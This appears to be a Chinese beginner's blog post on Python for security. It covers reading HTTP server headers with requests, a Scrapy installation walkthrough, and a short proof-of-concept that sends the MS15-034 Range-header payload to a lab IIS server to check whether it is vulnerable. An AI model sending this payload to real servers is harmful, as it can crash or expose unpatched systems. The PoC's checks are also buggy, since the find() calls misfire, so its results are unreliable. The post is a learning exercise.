网安小白自学python脚本 day4

文章展示了如何使用Python的requests库获取HTTP服务器信息,包括发送OPTIONS和GET请求,以及解析响应头。接着,它演示了一个针对MS15-034漏洞的检测方法,通过检查服务器版本并构造特定payload。最后,文章简述了Scrapy在KaliLinux中的安装和基本用法,用于创建和管理网络爬虫项目。
摘要由CSDN通过智能技术生成
# 迎风布阵
import requests
url = "http://www.baidu.com"

r = requests.options(url)
print(r)
print(r.headers)
print(r.headers["Connection"])

在这里插入图片描述options为请求类型,详细参考
https://blog.csdn.net/weixin_45943355/article/details/125223919
值得一提到是注意print(r.headers[“Connection”])的输出结果,体会用法。

获取http服务器信息

# 迎风布阵
import requests

url = "http://192.168.248.129/"
r = requests.get(url)
print(r.headers)
print("服务器中间件为:"+r.headers["Server"])

在这里插入图片描述获取服务器的信息都是从响应头中获取

漏洞检测工具

在这里插入图片描述
ms15-034 POC编写

import requests

url = "http://192.168.248.129"
r = requests.get(url)
# 检测当前版本是否为存在漏洞单版本
remote_server = r.headers['Server']
if remote_server.find("IIS/7.5") or remote_server("IIS/8.0"):
    # Host: stuff\r\nRange: bytes = 0 - 18446744073709551615\r\n\r\n
    # 以上为在网站找到的pyload代码
    # 将pyload写入到头中
    payload = {'Host': 'stuff', 'Range': 'bytes = 0 - 18446744073709551615'}
    r1 = requests.get(url, headers=payload)
    # 如果返回到文本中存在Requested Range Not Satisfiable,则证明可能存在漏洞
    if str(r1.content).find("Requested Range Not Satisfiable"):
        print(url + " exist vuln ms15-034")
    else:
        print(url + "not exist vuln ms15-034")
else:
    print("Server not a iis 7.5 or iil 8.0")

Scrapy介绍与安装

在这里插入图片描述在kali中安装,安装到bin下面
在这里插入图片描述输入scrapy
会出现可用参数
在这里插入图片描述创建项目
scrapy startproject <project_name> [project_dir]
scrapy startproject +项目名称+文件路径

进入路径下
在这里插入图片描述
会看到一下文件
items.py 设置要爬取的字段
pipelines.py 设置保存爬取内容
setting.py 设置文件,如User-Agent
上一层目录中的scrapy.cfg 用来部署最终完成的爬虫脚本
退出到第一层目录,输入scrapy genspider example example.com
后,spiders文件中才会出现一个爬虫的脚本框架
在这里插入图片描述
通过修改里面的内容以及配置文件才进行爬取。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当你作为一个小白自学Python时,以下是一些建议和步骤: 1. 学习编程基础知识:在开始学习Python之前,了解一些基本的编程概念和术语是很重要的。你可以学习一些基本的计算机科学概念,如变量、数据类型、条件语句、循环等。 2. 学习Python语法:Python是一种易于学习和理解的编程语言。你可以通过在线教程、视频教程或参考书籍来学习Python的语法规则和基本语句。掌握Python的基本语法是你进一步学习和开发的基础。 3. 练习编代码:通过实践来巩固所学的知识是非常重要的。尝试编一些简单的程序来解决问题,例如计算器、猜数字游戏等。这样可以帮助你熟悉Python的语法和逻辑。 4. 使用在线资源:互联网上有很多免费的资源可以帮助你学习Python。你可以参考一些优质的网站、博客、论坛和社区,如CSDN、Stack Overflow等。这些资源提供了大量的教程、示例代码和解答问题的平台。 5. 参与项目或实践:参与一些开源项目或实践项目可以帮助你更好地理解和应用Python。你可以加入一些开源社区,与其他开发者合作,共同开发项目。这样可以提高你的编程技能和经验。 6. 持续学习和提升:编程是一个不断学习和提升的过程。随着你的学习和实践,你会遇到更多的问题和挑战。不断学习新的知识,探索更深入的主题,参与更复杂的项目,可以帮助你不断提升自己的编程能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值